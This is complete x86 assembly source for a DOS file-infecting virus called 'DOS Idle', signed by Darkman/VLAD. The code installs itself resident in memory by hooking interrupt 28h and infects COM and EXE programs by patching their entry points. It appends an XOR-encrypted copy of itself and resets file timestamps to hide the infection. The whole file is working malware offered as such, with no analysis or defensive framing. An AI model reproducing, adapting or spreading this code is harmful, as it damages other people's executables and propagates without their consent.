; Darkman/VLAD ; Proudly Presents ; D O S I D L E dos_idle segment assume cs:dos_idle,ds:dos_idle,es:dos_idle org 00h code: call viruscode virusid db 'DI' ; DOS Idle Scan-ID xorcrypt proc near ; XOR Encrypt/Decrypt mov cx,(codeend-crypt)/02h cryptcode: xorwordptr db 2eh,81h,35h ; xor word ptr cs:[di],????h \ cryptvalues dw ? ; " " " " / inc di ; Increase DI inc di ; Increase DI loop cryptcode ret ; Return! endp viruscode: pop bp ; Load BP from stack sub bp,offset virusid ; BP = delta offset push ds ; Save DS at stack push es ; Save ES at stack lea di,[bp+crypt] ; DI = offset of crypt call xorcrypt crypt: mov ax,6303h ; DOS Idle service int 28h ; Do it! cmp ax,bx ; Already resident? je diexit ; Equal? Jump to diexit mov ax,es dec ax ; Decrease AX mov ds,ax ; DS = segment of programs MCB cmp byte ptr ds:[00h],'Z' jne diexit ; Not last in chain? Jump to diexit sub word ptr ds:[03h],((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h sub word ptr ds:[12h],((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h add ax,ds:[03h] ; AX = MCB + size of memory block inc ax ; AX = first usable MCB segment cld ; Clear direction flag push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov es,ax ; ES = first usable program segment mov cx,(codeend-code) ; Move 692 bytes xor di,di ; Clear DI lea si,[bp+code] ; SI = offset of code rep movsb ; Move virus to high memory xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table xchg ax,ds:[28h*04h] ; Load and store offset of INT 28h mov es:[int28off],ax ; Store offset of INT 28h mov ax,1eh ; AX = segment of hole in memory xchg ax,ds:[28h*04h+02h] ; Load and store segment of INT 28h mov es:[int28seg],ax ; Store segment of INT 28h mov byte ptr ds:[1e0h],0eah mov word ptr ds:[1e1h],offset virusint28 mov ds:[1e3h],es ; Store segment of virusint28 diexit: pop es ; Load ES from stack pop ds ; Load DS from stack cmp [bp+infectext],00h ; Infected a COM file? jne exeexit ; Not equal? Jump to exeexit mov di,100h ; DI = beginning of code lea si,[bp+headercode] ; SI = offset of headercode push di ; Restore Instruction Pointer (IP) movsw ; Move the real code to beginning \ movsw ; " " " " " " > movsb ; " " " " " " / call clearregs mov ax,bx ; Clear AX ret ; Return! exeexit: mov ax,es add ax,10h ; Beginning of EXE file add word ptr cs:[bp+csip+02h],ax call clearregs cli ; Clear interrupt-enable flag mov sp,word ptr cs:[bp+sssp] add ax,word ptr cs:[bp+sssp+02h] mov ss,ax sti ; Store interrupt-enable flag mov ax,bx ; Clear AX db 0eah ; Object code of jump far csip dd 0fff00000h ; CS:IP of infected file sssp dd ? ; SS:SP of infected file virusint28 proc near ; Interrupt 28h of DOS Idle cmp ax,6303h ; DOS Idle service? jne getfilename ; Not equal? Jump to getfilename mov bx,ax iret ; Interrupt return! getfilename: push ax ; Save AX at stack push bx ; Save BX at stack push cx ; Save CX at stack push dx ; Save DX at stack push di ; Save DI at stack push si ; Save SI at stack push bp ; Save BP at stack push ds ; Save DS at stack push es ; Save ES at stack mov ah,62h ; Get PSP address int 21h ; Do it! mov ds,bx ; DS = Program Segment Prefix (PSP) mov es,ds:[2ch] ; ES = Environment segment cld ; Clear direction flag xor ax,ax ; Clear AX mov di,ax ; Clear DI inc di ; Increase DI findname: dec di ; Decrease DI scasw ; Search for the filename jne findname ; Not equal? Jump to findname scasw ; DI = offset of filename xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table push ds:[24h*04h] ; Save INT 24h offset at stack push ds:[24h*04h+02h] ; Save INT 24h segment at stack mov word ptr ds:[24h*04h],offset virusint24 mov ds:[24h*04h+02h],cs ; Intercept interrupt 24h mov ax,3d00h ; Open file (read) mov dx,di push es ; Save ES at stack pop ds ; Load DS from stack (ES) int 21h ; Do it! jnc getfileinfo ; No error? Jump to getfileinfo jmp int28exit getfileinfo: xchg ax,bx ; Exchange AX with BX mov ax,1220h ; Get system file table number int 2fh ; Do it! (multiplex) push bx ; Save BX at stack mov ax,1216h ; Get address of system FCB mov bl,es:[di] ; BL = system file table entry int 2fh ; Do it! (multiplex) pop bx ; Load BX from stack mov byte ptr es:[di+02h],02h mov ah,3fh ; Read from file mov cx,19h ; Read 25 bytes push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,headercode ; DX = offset of headercode int 21h ; Do it! mov si,dx mov ax,5700h ; Get files date/time int 21h ; Do it! push cx ; Save CX at stack push dx ; Save DX at stack mov ax,es:[di+28h] ; Get the extension of the file mov cl,es:[di+2ah] ; " " " " " " cmp ax,'OC' ; COM file? jne checkexe ; Not equal? Jump to checkexe cmp cl,'M' ; COM file? jne checkexe ; Not equal? Jump to checkexe mov ax,word ptr headercode cmp ax,'MZ' ; Renamed EXE file? je infectexit ; Equal? Jump to infectexit cmp ax,'ZM' ; Renamed EXE file? je infectexit ; Equal? Jump to infectexit infectcom: cmp word ptr [si+03h],'ID' je infectexit ; Infected? Jump to infectexit mov ax,es:[di+11h] ; AX = file size cmp ax,05h ; AX = 5? (AX < 5) jb infectexit ; Below? Jump to infectexit cmp ax,(65535-(codeend-code)) ja infectexit ; Above? Jump to infectexit mov word ptr es:[di+15h],00h sub ax,03h ; AX = offset of virus code mov word ptr infectcode+01h,ax mov [infectext],00h ; Infect a COM file mov cx,05h ; Write 5 bytes lea dx,infectcode ; DX = offset of infectcode jmp writevirus infectexit: jmp closefile checkexe: cmp ax,'XE' ; EXE file? jne infectexit ; Not equal? Jump to infectexit cmp cl,'E' ; EXE file? jne infectexit ; Not equal? Jump to infectexit mov ax,word ptr headercode cmp ax,'MZ' ; Renamed EXE file? je infectexe ; Equal? Jump to infectexe cmp ax,'ZM' ; Renamed EXE file? je infectexe ; Equal? Jump to infectexe jmp infectcom infectexe: cmp word ptr [si+12h],'ID' je infectexit ; Equal? Jump to infectexit cmp byte ptr [si+18h],40h je infectexit ; Windows file? Jump to infectexit push bx ; Save BX at stack mov bx,es:[di+11h] ; Get filesize of file mov cx,es:[di+13h] ; " " " " cmp word ptr [si+02h],00h je dontdecpage ; Equal? Jump to dontdecpage dec word ptr [si+04h] ; Decrease pages in file dontdecpage: mov ax,200h mul word ptr [si+04h] ; Divide by pages add ax,[si+02h] ; Add bytes on last page adc dx,00h ; Convert to 32 bit cmp ax,bx ; Internal overlay? pop bx ; Load bytes from stack jne infectexit ; Not equal? Jump to infectexit cmp cx,dx ; Internal overlay? jne infectexit ; Not equal? Jump to infectexit push ax ; Save AX at stack push dx ; Save DX at stack push si ; Save SI at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) add si,0eh ; SI = offset of SS:SP lea di,sssp ; DI = offset of sssp movsw ; Store original SP movsw ; Store original SS inc si ; SI = offset of CS:IP \ inc si ; " " " " " / lea di,csip ; DI = offset of csip movsw ; Store original IP movsw ; Store original CS pop si ; Load SI from stack mov cx,10h div cx ; Convert bytes to paragraphs sub ax,word ptr [si+08h] mov word ptr [si+14h],dx mov word ptr [si+16h],ax add ax,((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h mov word ptr [si+0eh],ax pop dx ; Load DX from stack pop ax ; Load AX from stack add ax,(codeend-code) ; Add the length of the virus adc dx,00h ; Convert to 32 bit mov cx,200h div cx ; Divide by pages or dx,dx ; No bytes on last page? je dontfixpage ; Equal? Jump to dontfixpage inc ax ; Increase AX dontfixpage: mov word ptr [si+04h],ax mov word ptr [si+02h],dx mov word ptr [si+12h],'ID' mov ax,4200h ; Move file pointer to the beginning cwd ; Clear DX mov cx,dx ; Clear CX int 21h ; Do it! mov [infectext],01h ; Infect a EXE file mov cx,18h ; Write 24 bytes mov dx,si ; DX = offset of exeheader writevirus: mov ah,40h ; Write to file int 21h ; Do it! mov ax,4202h ; Move file pointer to the end cwd ; Clear DX mov cx,dx ; Clear CX int 21h ; Do it! getvalue: in ax,40h ; AX = port 40h or ax,ax ; Poor encryption value? je getvalue ; Equal? Jump to getvalue mov cryptvalues,ax ; Store the crypt values mov cx,(codeend-code) ; Move 692 bytes lea di,codeend ; DI = offset of codeend lea si,code ; SI = offset of code push cs ; Save CS at stack pop es ; Load ES from stack (CS) rep movsb ; Move virus to high memory lea di,codeend+20h ; DI = offset of crypt xor bp,bp ; Clear BP call xorcrypt mov ah,40h ; Write to file mov cx,(codeend-code) ; Write 692 bytes lea dx,codeend ; DX = offset of codeend int 21h ; Do it! closefile: mov ax,5701h ; Set files date/time pop dx ; Load DX from stack pop cx ; Load CX from stack int 21h ; Do it! mov ah,3eh ; Close file int 21h ; Do it! int28exit: xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table pop ds:[24h*04h] ; Save INT 24h offset at stack pop ds:[24h*04h+02h] ; Save INT 24h segment at stack pop es ; Save ES at stack pop ds ; Save DS at stack pop bp ; Save BP at stack pop si ; Save SI at stack pop di ; Save DI at stack pop dx ; Save DX at stack pop cx ; Save CX at stack pop bx ; Save BX at stack pop ax ; Save AX at stack db 0eah ; Object code of jump far int28off dw ? ; Offset of interrupt 28h int28seg dw ? ; Segment of interrupt 28h endp virusint24 proc near ; Interrupt 24h of Replicator mov al,3 ; Fail system call in progress iret ; Interrupt return! endp clearregs proc near ; Clear all registers xor bx,bx ; Clear BX mov cx,bx ; Clear CX mov dx,bx ; Clear DX mov di,bx ; Clear DI mov si,bx ; Clear SI mov bp,bx ; Clear BP ret ; Return! endp virusname db ' [DOS Idle]' ; Name of the virus virusauthor db ' [Darkman/VLAD] ' ; Author of the virus infectext db ? ; Extension of infected file infectcode db 0e9h,?,?,'DI' ; New code of infected COM file headercode db 0cdh,20h,?,?,? ; Header of COM/EXE codeend: exeheader db 14h dup(?) ; Header of EXE memoryend: dos_idle ends end code